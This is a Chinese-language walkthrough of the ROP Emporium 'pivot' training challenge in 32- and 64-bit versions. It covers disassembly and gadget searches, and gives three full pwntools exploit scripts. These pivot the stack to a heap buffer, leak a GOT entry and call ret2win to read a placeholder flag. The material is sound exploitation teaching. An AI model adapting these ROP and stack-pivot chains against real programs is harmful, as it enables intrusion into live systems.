如果esp和ebp能够被控制,那么整个堆栈就可以被控制,甚至被转移。Stack pivoting就是一种栈迁移技术,可以用来绕过NX,或者溢出空间太小的情况。
1. pivot32
信息收集
$ file pivot32
pivot32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0c3486910b643fccda05edba0fd6529cfef16803, not stripped
$ checksec libpivot32.so
[*] '/home/starr/Documents/CProject/pwn/libpivot32.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
$ ldd pivot32
linux-gate.so.1 (0xf7f40000)
libpivot32.so => ./libpivot32.so (0xf7f38000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d45000)
/lib/ld-linux.so.2 (0xf7f41000)
需要注意so启用了PIE,地址是随机的,但记住函数的相对位置不变,需要泄露某个函数的地址,进而得到目标函数(本题中就是ret2win)地址。
黑盒测试
这个程序有两次输入,第一次输入没有崩溃,第二次输入则是在44字节处覆盖了返回地址。
$ gdb ./pivot32
pwndbg> run
Starting program: /home/starr/Documents/CProject/pwn/pivot32
pivot by ROP Emporium
x86
Call ret2win() from libpivot
The Old Gods kindly bestow upon you a place to pivot: 0xf7dd8f10
Send a ROP chain now and it will land there
> aaaa
Thank you!
Now please send your stack smash
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabstarr
Thank you!
Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
pwndbg> cyclic -l 0x6161616c
44
反汇编
$ objdump -d -M intel pivot32
08048520 <foothold_function@plt>:
08048686 <main>:
8048686: 8d 4c 24 04 lea ecx,[esp+0x4]
...
80486c8: 83 c4 10 add esp,0x10
80486cb: c7 45 f4 00 00 00 00 mov DWORD PTR [ebp-0xc],0x0
80486d2: 83 ec 0c sub esp,0xc
80486d5: 68 00 00 00 01 push 0x1000000
80486da: e8 11 fe ff ff call 80484f0 <malloc@plt> p = malloc(0x1000000)
80486df: 83 c4 10 add esp,0x10
80486e2: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
80486e5: 83 7d f4 00 cmp DWORD PTR [ebp-0xc],0x0
80486e9: 75 1a jne 8048705 <main+0x7f>
...
8048705: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc]
8048708: 05 00 ff ff 00 add eax,0xffff00
804870d: 89 45 f0 mov DWORD PTR [ebp-0x10],eax
8048710: 83 ec 0c sub esp,0xc
8048713: ff 75 f0 push DWORD PTR [ebp-0x10]
8048716: e8 35 00 00 00 call 8048750 <pwnme> pwnme(p + 0xffff00)
804871b: 83 c4 10 add esp,0x10
804871e: c7 45 f0 00 00 00 00 mov DWORD PTR [ebp-0x10],0x0
8048725: 83 ec 0c sub esp,0xc
8048728: ff 75 f4 push DWORD PTR [ebp-0xc]
804872b: e8 b0 fd ff ff call 80484e0 <free@plt> free(p)
8048730: 83 c4 10 add esp,0x10
8048733: 83 ec 0c sub esp,0xc
8048736: 68 04 89 04 08 push 0x8048904 "\nExiting"
804873b: e8 c0 fd ff ff call 8048500 <puts@plt>
8048740: 83 c4 10 add esp,0x10
8048743: b8 00 00 00 00 mov eax,0x0
8048748: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4]
804874b: c9 leave
804874c: 8d 61 fc lea esp,[ecx-0x4]
804874f: c3 ret
08048750 <pwnme>:
8048750: 55 push ebp
8048750: 55 push ebp
8048751: 89 e5 mov ebp,esp
8048753: 83 ec 28 sub esp,0x28
8048756: 83 ec 04 sub esp,0x4
8048759: 6a 20 push 0x20
804875b: 6a 00 push 0x0
804875d: 8d 45 d8 lea eax,[ebp-0x28]
8048760: 50 push eax
8048761: e8 ea fd ff ff call 8048550 <memset@plt> memset(buf, 0, 0x20)
8048766: 83 c4 10 add esp,0x10
8048769: 83 ec 0c sub esp,0xc
804876c: 68 0d 89 04 08 push 0x804890d "Call ret2win() from libpivot"
8048771: e8 8a fd ff ff call 8048500 <puts@plt>
8048776: 83 c4 10 add esp,0x10
8048779: 83 ec 08 sub esp,0x8
804877c: ff 75 08 push DWORD PTR [ebp+0x8] arg0_buf
804877f: 68 2c 89 04 08 push 0x804892c 'The Old Gods kindly bestow upon you a place to pivot: %p'
8048784: e8 47 fd ff ff call 80484d0 <printf@plt>
8048789: 83 c4 10 add esp,0x10
804878c: 83 ec 0c sub esp,0xc
804878f: 68 68 89 04 08 push 0x8048968 'Send a ROP chain now and it will land there'
8048794: e8 67 fd ff ff call 8048500 <puts@plt>
...
80487a9: 83 c4 10 add esp,0x10
80487ac: 83 ec 04 sub esp,0x4
80487af: 68 00 01 00 00 push 0x100
80487b4: ff 75 08 push DWORD PTR [ebp+0x8]
80487b7: 6a 00 push 0x0
80487b9: e8 02 fd ff ff call 80484c0 <read@plt> read(stdin, arg0_buf, 0x100)
80487be: 83 c4 10 add esp,0x10
80487c1: 83 ec 0c sub esp,0xc
...
80487ee: 83 c4 10 add esp,0x10
80487f1: 83 ec 04 sub esp,0x4
80487f4: 6a 38 push 0x38
80487f6: 8d 45 d8 lea eax,[ebp-0x28]
80487f9: 50 push eax
80487fa: 6a 00 push 0x0
80487fc: e8 bf fc ff ff call 80484c0 <read@plt> read(stdin, buf, 0x38)
...
8048815: c9 leave
8048816: c3 ret
08048817 <uselessFunction>:
8048817: 55 push ebp
8048818: 89 e5 mov ebp,esp
804881a: 83 ec 08 sub esp,0x8
804881d: e8 fe fc ff ff call 8048520 <foothold_function@plt>
8048822: 83 ec 0c sub esp,0xc
8048825: 6a 01 push 0x1
8048827: e8 e4 fc ff ff call 8048510 <exit@plt>
0804882c <usefulGadgets>:
804882c: 58 pop eax
804882d: c3 ret
804882e: 94 xchg esp,eax
804882f: c3 ret
8048830: 8b 00 mov eax,DWORD PTR [eax]
8048832: c3 ret
8048833: 01 d8 add eax,ebx
8048835: c3 ret
程序流程:
int main()
{
void * p = malloc(0x1000000);
pwnme(p + 0xffff00);
}
void pwnme(void *p)
{
char buf[0x20] = {};
read(stdin, p, 0x100); // 下溢出
read(stdin, buf, 0x38); // 这里可以溢出0x18个字节,足够覆盖返回地址。
}
再看一下so:
$ objdump -d -M intel libpivot32.so
0000077d <foothold_function>:
77d: 55 push ebp
77e: 89 e5 mov ebp,esp
780: 53 push ebx
781: 83 ec 04 sub esp,0x4
784: e8 8f 02 00 00 call a18 <__x86.get_pc_thunk.ax>
789: 05 77 18 00 00 add eax,0x1877
78e: 83 ec 0c sub esp,0xc
791: 8d 90 30 ea ff ff lea edx,[eax-0x15d0]
797: 52 push edx
798: 89 c3 mov ebx,eax
79a: e8 a1 fe ff ff call 640 <puts@plt>
'foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot'
79f: 83 c4 10 add esp,0x10
7a2: 90 nop
7a3: 8b 5d fc mov ebx,DWORD PTR [ebp-0x4]
7a6: c9 leave
7a7: c3 ret
000007a8 <void_function_01>:
...
7bd: 8d 83 82 ea ff ff lea eax,[ebx-0x157e]
7c3: 50 push eax "Nothing to see here"
7c4: e8 77 fe ff ff call 640 <puts@plt>
...
00000946 <void_function_10>:
00000974 <ret2win>:
974: 55 push ebp
975: 89 e5 mov ebp,esp
977: 53 push ebx
978: 83 ec 34 sub esp,0x34
97b: e8 00 fd ff ff call 680 <__x86.get_pc_thunk.bx>
...
99b: 8d 83 96 ea ff ff lea eax,[ebx-0x156a]
9a1: 50 push eax
9a2: 8d 83 98 ea ff ff lea eax,[ebx-0x1568]
9a8: 50 push eax
9a9: e8 b2 fc ff ff call 660 <fopen@plt> fopen("flag.txt", "r")
...
9e2: e8 39 fc ff ff call 620 <fgets@plt>
...
9f1: e8 4a fc ff ff call 640 <puts@plt>
...
9ff: e8 2c fc ff ff call 630 <fclose@plt>
...
a13: e8 38 fc ff ff call 650 <exit@plt>
foothold_function函数提示在.got.plt里找一个落脚点;
void_function_01-void_function_10,这10个函数只是输出了同一段字符串;
ret2win,输出flag,这也是最终要想办法执行的目标函数。
思路
Pwnme函数只溢出了0x18个字节,虽然可以覆盖返回地址,但不足以构造rop链,这种情况就可以考虑stack pivoting(栈转移),payload通常这样构造:
正常的栈: buffer + ebp + ret addr
payload: padding + fake ebp + leave;retn
复习一下leave、entry、还有retn指令:
entry:
push ebp
mov ebp, esp
leave:
mov esp, ebp
pop ebp
retn:
pop eip
fake ebp要指向另一端我们伪造的栈顶,布局如下:
fake ebp
payload
也就是说,第二次输入的payload布局如下:
padding len 44 - 4
程序输出的堆空间地址 有溢出漏洞的函数(leave)执行leave时,pop ebp
pGadgetLeave 0x080485f5 : leave ; ret 第二次执行leave,实现栈转移
存储第一次输入的堆空间就可以作为我们伪造的栈,下面开始构造payload。
最终的目的是执行ret2win,计算ret2win@got地址的公式如下:
io = ELF("./pivot32")
lib = ELF("./libpivot32.so")
lib.sym["ret2win"] - lib.sym["foothold_function"] == io.got["ret2win"] - io.got["foothold_function"] == nOffset
io.got["ret2win"] == nOffset + io.got["foothold_function"]
nOffset可以算好后直接硬编码到payload中。
因为用到加法,所以搜一下add:
pwndbg> rop --grep "add"
...
0x08048668 : add al, 8 ; add ecx, ecx ; ret
0x080485ee : add al, 8 ; call eax
0x0804863b : add al, 8 ; call edx
0x08048831 : add bl, al ; add eax, ebx ; ret
0x080485ff : add bl, dh ; ret
0x080485fd : add byte ptr [eax], al ; add bl, dh ; ret
0x080485fc : add byte ptr [eax], al ; add byte ptr [eax], al ; ret
0x080484a4 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x08048746 : add byte ptr [eax], al ; mov ecx, dword ptr [ebp - 4] ; leave ; lea esp, [ecx - 4] ; ret
0x080485fe : add byte ptr [eax], al ; ret
0x08048747 : add byte ptr [ebx - 0x723603b3], cl ; popal ; cld ; ret
0x08048665 : add eax, 0x804a040 ; add ecx, ecx ; ret
0x08048833 : add eax, ebx ; ret
0x0804866a : add ecx, ecx ; ret
0x080485f2 : add esp, 0x10 ; leave ; ret
0x08048811 : add esp, 0x10 ; nop ; leave ; ret
0x08048895 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080484a6 : add esp, 8 ; pop ebx ; ret
排除esp,排除立即数,0x08048833处操作两个寄存器的add eax, ebx可以拿来用。eax用来存储nOffset,ebx用来存储io.got[“foothold_function”]。
pop eax; pop ebx
等指令都可以搜到:
pwndbg> rop --grep "pop"
...
0x0804882c : pop eax ; ret
0x0804889b : pop ebp ; ret
0x08048898 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080484a9 : pop ebx ; ret
0x0804889a : pop edi ; pop ebp ; ret
0x08048899 : pop esi ; pop edi ; pop ebp ; ret
...
为了调用eax,则需要call指令:
pwndbg> rop --grep "call"
0x0804857b : call 0x80485a9
0x0804848c : call 0x80485c6
0x080485f0 : call eax !!!!!!!!!
0x0804863d : call edx
另外复习一下延迟加载的知识。要想获取foothold_function的真实地址(存在got表里),必须先执行foothold_function@plt。之后,需要用类似mov的指令从got表取出foothold_function的真实地址,:
pwndbg> rop --grep "mov"
...
0x08048667 : mov al, byte ptr [0xc9010804] ; ret
0x080485ed : mov al, byte ptr [0xd0ff0804] ; add esp, 0x10 ; leave ; ret
0x0804863a : mov al, byte ptr [0xd2ff0804] ; add esp, 0x10 ; leave ; ret
0x08048664 : mov byte ptr [0x804a040], 1 ; leave ; ret
0x08048830 : mov eax, dword ptr [eax] ; ret !!!!!!!!!!!
0x080485a3 : mov ebx, dword ptr [esp] ; ret
0x08048748 : mov ecx, dword ptr [ebp - 4] ; leave ; lea esp, [ecx - 4] ; ret
0x080484a2 : mov edx, 0x83000000 ; les ecx, ptr [eax] ; pop ebx ; ret
0x080485fa : mov esp, 0x27 ; add bl, dh ; ret
0x08048830处的mov可以使用,只不过不能用eax来存储nOffset了。
梳理一下伪造的栈的构造:
padding len 4 上次执行leave时用来pop ebp,可以省略,move esp, ebp对应的地址要减4
foothold_function@plt retn
pGadgetPopEax 0x0804882c : pop eax ; ret
foothold_function@got
pGadgetMovEaxEax 0x08048830 : mov eax, dword ptr [eax] ; ret
pGadgetPopEbx 0x080484a9 : pop ebx ; ret
nOffset foothold_function与ret2win的距离
pGadgetAddEaxEbx 0x08048833 : add eax, ebx ; ret
pGadgetCallEax 0x080485f0 : call eax
Exp
python3执行ELF会报错,需要用python2。
# coding: utf-8
from pwn import *
context.arch = "i386"
context.bits = 32
context.os = "linux"
context.log_level = 'debug'
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
g_nBufOverflowIndex = 40
g_pGadgetLeave = 0x080485f5 # leave ; ret
g_pGadgetPopEax = 0x0804882c # pop eax ; ret
g_pGadgetMovEaxEax = 0x08048830 # mov eax, dword ptr [eax] ; ret
g_pGadgetPopEbx = 0x080484a9 # pop ebx ; ret
g_pGadgetAddEaxEbx = 0x08048833 # add eax, ebx ; ret
g_pGadgetCallEax = 0x080485f0 # call eax
strProgram = "./pivot32"
strSo = "./libpivot32.so"
io = getio(strProgram)
io.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
pFakeStackEbp = int(io.recv(10), 16)
elfExec = ELF(strProgram)
pPltFoothold = elfExec.plt["foothold_function"]
pGotFoothold = elfExec.got["foothold_function"]
# 获取foothold_function与ret2win的距离
elfSo = ELF(strSo)
nOffset = int(elfSo.symbols["ret2win"] - elfSo.symbols["foothold_function"])
def FakeStack():
payloadStack = b"A" * int(context.bits/8) # 上次执行leave时用来pop ebp,可以省略,move esp, ebp对应的地址要减4
payloadStack += p32(pPltFoothold) # retn
payloadStack += p32(g_pGadgetPopEax) # pop eax ; ret
payloadStack += p32(pGotFoothold)
payloadStack += p32(g_pGadgetMovEaxEax) # mov eax, dword ptr [eax] ; ret
payloadStack += p32(g_pGadgetPopEbx) # pop ebx ; ret
payloadStack += p32(nOffset) # foothold_function与ret2win的距离
payloadStack += p32(g_pGadgetAddEaxEbx) # 0x08048833 # add eax, ebx ; ret
payloadStack += p32(g_pGadgetCallEax) # call eax
io.sendline(payloadStack)
def Pivot(pFakeEbp):
payloadPivot = b"A" * g_nBufOverflowIndex;
payloadPivot += p32(pFakeEbp)
payloadPivot += p32(g_pGadgetLeave)
io.sendline(payloadPivot)
io.clean()
# 1. Fake stack for input 1
FakeStack()
# 2. Stack pivot for input 2
io.clean()
Pivot(pFakeStackEbp)
# # gdb.attach(io)
# # pause()
print(io.recv(timeout=10))
io.interactive()
# Thank you!
# foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot
# ROPE{a_placeholder_32byte_flag!}
2. pivot
64位版本。同样也是开启了pie。
反汇编
$ objdump -d -M intel pivot
0000000000400720 <foothold_function@plt>:
0000000000400847 <main>:
400847: 55 push rbp
400848: 48 89 e5 mov rbp,rsp
40084b: 48 83 ec 10 sub rsp,0x10
40084f: 48 8b 05 1a 08 20 00 mov rax,QWORD PTR [rip+0x20081a] # 601070 <stdout@@GLIBC_2.2.5>
...
400881: 48 c7 45 f8 00 00 00 mov QWORD PTR [rbp-0x8],0x0
400888: 00
400889: bf 00 00 00 01 mov edi,0x1000000
40088e: e8 9d fe ff ff call 400730 <malloc@plt>
400893: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax p = malloc(0x1000000)
400897: 48 83 7d f8 00 cmp QWORD PTR [rbp-0x8],0x0
40089c: 75 14 jne 4008b2 <main+0x6b>
40089e: bf 78 0a 40 00 mov edi,0x400a78
4008a3: e8 38 fe ff ff call 4006e0 <puts@plt>
4008a8: bf 01 00 00 00 mov edi,0x1
4008ad: e8 9e fe ff ff call 400750 <exit@plt>
4008b2: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
4008b6: 48 05 00 ff ff 00 add rax,0xffff00
4008bc: 48 89 45 f0 mov QWORD PTR [rbp-0x10],rax
4008c0: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10]
4008c4: 48 89 c7 mov rdi,rax
4008c7: e8 25 00 00 00 call 4008f1 <pwnme> pwnme(p + 0xffff00)
4008cc: 48 c7 45 f0 00 00 00 mov QWORD PTR [rbp-0x10],0x0
4008d3: 00
4008d4: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
4008d8: 48 89 c7 mov rdi,rax
4008db: e8 f0 fd ff ff call 4006d0 <free@plt> free(p)
4008e0: bf a0 0a 40 00 mov edi,0x400aa0
4008e5: e8 f6 fd ff ff call 4006e0 <puts@plt>
4008ea: b8 00 00 00 00 mov eax,0x0
4008ef: c9 leave
4008f0: c3 ret
00000000004008f1 <pwnme>:
4008f1: 55 push rbp
4008f2: 48 89 e5 mov rbp,rsp
4008f5: 48 83 ec 30 sub rsp,0x30
4008f9: 48 89 7d d8 mov QWORD PTR [rbp-0x28],rdi
4008fd: 48 8d 45 e0 lea rax,[rbp-0x20]
400901: ba 20 00 00 00 mov edx,0x20
400906: be 00 00 00 00 mov esi,0x0
40090b: 48 89 c7 mov rdi,rax
40090e: e8 ed fd ff ff call 400700 <memset@plt> memset(buf, 0, 0x20)
...
40094c: 48 8b 45 d8 mov rax,QWORD PTR [rbp-0x28]
400950: ba 00 01 00 00 mov edx,0x100
400955: 48 89 c6 mov rsi,rax
400958: bf 00 00 00 00 mov edi,0x0
40095d: e8 ae fd ff ff call 400710 <read@plt> read(stdin, arg0_buf, 0x100)
400962: bf 37 0b 40 00 mov edi,0x400b37
400967: e8 74 fd ff ff call 4006e0 <puts@plt>
40096c: bf 48 0b 40 00 mov edi,0x400b48
400971: e8 6a fd ff ff call 4006e0 <puts@plt>
400976: bf 34 0b 40 00 mov edi,0x400b34
40097b: b8 00 00 00 00 mov eax,0x0
400980: e8 6b fd ff ff call 4006f0 <printf@plt>
400985: 48 8d 45 e0 lea rax,[rbp-0x20]
400989: ba 40 00 00 00 mov edx,0x40
40098e: 48 89 c6 mov rsi,rax
400991: bf 00 00 00 00 mov edi,0x0
400996: e8 75 fd ff ff call 400710 <read@plt> read(stdin, buf, 0x40)
40099b: bf 69 0b 40 00 mov edi,0x400b69
4009a0: e8 3b fd ff ff call 4006e0 <puts@plt>
4009a5: 90 nop
4009a6: c9 leave
4009a7: c3 ret
$ objdump -d -M intel libpivot.so
第二次输入的ebp距离缓冲区0x20字节。
搜索gadget,add eax, ebx换成了add rax, rbp,其余gadget参考32位版本搜索并修改即可。
调试分析
两次输入都没有问题,但在执行leave gadget时发生了崩溃:
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00000000004008ef in main ()
► 0x4008ef <main+168> leave
0x4008f0 <main+169> ret
第二次输入的payload:
payloadPivot = b"A" * g_nBufOverflowIndex;
payloadPivot += p64(pFakeRbp)
payloadPivot += p64(g_pGadgetLeave)
最后发现是获取64位地址的时候出问题了:
# pivot by ROP Emporium
# x86_64
# Call ret2win() from libpivot
# The Old Gods kindly bestow upon you a place to pivot: 0x7fcf3a88cf10
io.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
pFakeStackRbp = int(io.recv(10), 16)
直接拷贝了32位的脚本,只接受了10个字节:0x7fcf3a88cf10 —_—
修改后:
pFakeStackRbp = int(io.recv().split()[20],16)
Exp
# coding:utf-8
from pwn import *
context.arch = "amd64"
context.bits = 64
context.os = "linux"
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
g_nBufOverflowIndex = 0x28
g_pGadgetLeave = 0x00000000004008ef # leave ; ret
g_pGadgetPopRax = 0x00000000004009bb # pop rax ; ret
g_pGadgetMovRaxRax = 0x00000000004009c0 # mov rax, qword ptr [rax] ; ret
g_pGadgetPopRbp = 0x00000000004007c8 # pop rbp ; ret
g_pGadgetAddRaxRbp = 0x00000000004009c4 # add rax, rbp ; ret
g_pGadgetCallRax = 0x00000000004006b0 # call rax
strProgram = "./pivot"
strSo = "./libpivot.so"
io = getio(strProgram)
# io.recvuntil("The Old Gods kindly bestow upo you a place to pivot: ")
# pFakeStacknRbp = int(io.recv(10), 16)
pFakeStackRbp = int(io.recv().split()[20],16)
print("!!!!!!!!!!!!!!!!")
print("fake rbp:0x%x" % pFakeStackRbp)
print("!!!!!!!!!!!!!!!!")
elfExec = ELF(strProgram)
pPltFoothold = elfExec.plt["foothold_function"]
pGotFoothold = elfExec.got["foothold_function"]
# 获取foothold_function与ret2win的距离
elfSo = ELF(strSo)
nOffset = int(elfSo.symbols["ret2win"] - elfSo.symbols["foothold_function"])
def FakeStack():
payloadStack = b"A" * int(context.bits/8)
payloadStack += p64(pPltFoothold) # retn
payloadStack += p64(g_pGadgetPopRax) # pop eax ; ret
payloadStack += p64(pGotFoothold)
payloadStack += p64(g_pGadgetMovRaxRax) # mov eax, dword ptr [eax] ; ret
payloadStack += p64(g_pGadgetPopRbp) # pop ebx ; ret
payloadStack += p64(nOffset) # foothold_function与ret2win的距离
payloadStack += p64(g_pGadgetAddRaxRbp) # 0x08048833 # add eax, ebx ; ret
payloadStack += p64(g_pGadgetCallRax) # call eax
io.sendline(payloadStack)
def Pivot(pFakeRbp):
payloadPivot = b"A" * (g_nBufOverflowIndex - int(context.bits/8));
payloadPivot += p64(pFakeRbp)
payloadPivot += p64(g_pGadgetLeave)
io.recvuntil(">")
io.sendline(payloadPivot)
# gdb.attach(io)
# pause()
# 1. Fake stack for input 1
FakeStack()
# 2. Stack pivot for input 2
# pause()
Pivot(pFakeStackRbp)
print(io.recv(timeout=10))
io.interactive()
# Thank you!
# foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot
# ROPE{a_placeholder_32byte_flag!}
还有另一种构造方法。栈转移要使用leave gadget的目的其实是修改rsp,所以可以使用其它修改rsp的gadget:
pwndbg> rop --grep "rsp"
0x00000000004006b2 : add rsp, 8 ; ret
0x0000000000400a1a : call qword ptr [rsp + rbx*8]
0x00000000004009ba : lcall [rax - 0x3d] ; xchg rax, rsp ; ret
0x0000000000400a2d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ad : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000400a45 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000400a44 : sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004009bd : xchg rax, rsp ; ret
可以利用0x00000000004009bd处的xchg指令。
于是第二次的输入构造如下:
padding 0x28 不用伪造ebp了
pGadgetPopRax 0x00000000004009bb : pop rax ; ret
程序输出的堆空间地址 有溢出漏洞的函数(leave)执行leave时,pop ebp
pGadgetXchg 0x00000000004009bd : xchg rax, rsp ; ret 修改rsp实现栈转移
而我们伪造的栈的头8个字节,也不需要填充ebp来给leave指令使用了,溢出偏移为0x20+8==0x28。
Exp:
# coding:utf-8
from pwn import *
context.arch = "amd64"
context.bits = 64
context.os = "linux"
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
g_nBufOverflowIndex = 0x28
g_pGadgetLeave = 0x00000000004008ef # leave ; ret
g_pGadgetPopRax = 0x00000000004009bb # pop rax ; ret
g_pGadgetMovRaxRax = 0x00000000004009c0 # mov rax, qword ptr [rax] ; ret
g_pGadgetPopRbp = 0x00000000004007c8 # pop rbp ; ret
g_pGadgetAddRaxRbp = 0x00000000004009c4 # add rax, rbp ; ret
g_pGadgetCallRax = 0x00000000004006b0 # call rax
g_pGadgetXchg = 0x00000000004009bd # xchg rax, rsp ; ret 修改rsp实现栈转移
strProgram = "./pivot"
strSo = "./libpivot.so"
io = getio(strProgram)
# io.recvuntil("The Old Gods kindly bestow upo you a place to pivot: ")
# pFakeStacknRbp = int(io.recv(10), 16)
pFakeStackRbp = int(io.recv().split()[20],16)
print("!!!!!!!!!!!!!!!!")
print("fake rbp:0x%x" % pFakeStackRbp)
print("!!!!!!!!!!!!!!!!")
elfExec = ELF(strProgram)
pPltFoothold = elfExec.plt["foothold_function"]
pGotFoothold = elfExec.got["foothold_function"]
# 获取foothold_function与ret2win的距离
elfSo = ELF(strSo)
nOffset = int(elfSo.symbols["ret2win"] - elfSo.symbols["foothold_function"])
def FakeStack():
payloadStack = p64(pPltFoothold) # retn
payloadStack += p64(g_pGadgetPopRax) # pop eax ; ret
payloadStack += p64(pGotFoothold)
payloadStack += p64(g_pGadgetMovRaxRax) # mov eax, dword ptr [eax] ; ret
payloadStack += p64(g_pGadgetPopRbp) # pop ebx ; ret
payloadStack += p64(nOffset) # foothold_function与ret2win的距离
payloadStack += p64(g_pGadgetAddRaxRbp) # 0x08048833 # add eax, ebx ; ret
payloadStack += p64(g_pGadgetCallRax) # call eax
io.sendline(payloadStack)
def Pivot(pFakeRbp):
payloadPivot = b"A" * g_nBufOverflowIndex;
payloadPivot += p64(g_pGadgetPopRax)
payloadPivot += p64(pFakeRbp)
payloadPivot += p64(g_pGadgetXchg)
io.recvuntil(">")
io.sendline(payloadPivot)
# gdb.attach(io)
# pause()
# 1. Fake stack for input 1
FakeStack()
# 2. Stack pivot for input 2
# pause()
Pivot(pFakeStackRbp)
print(io.recv(timeout=10))
io.interactive()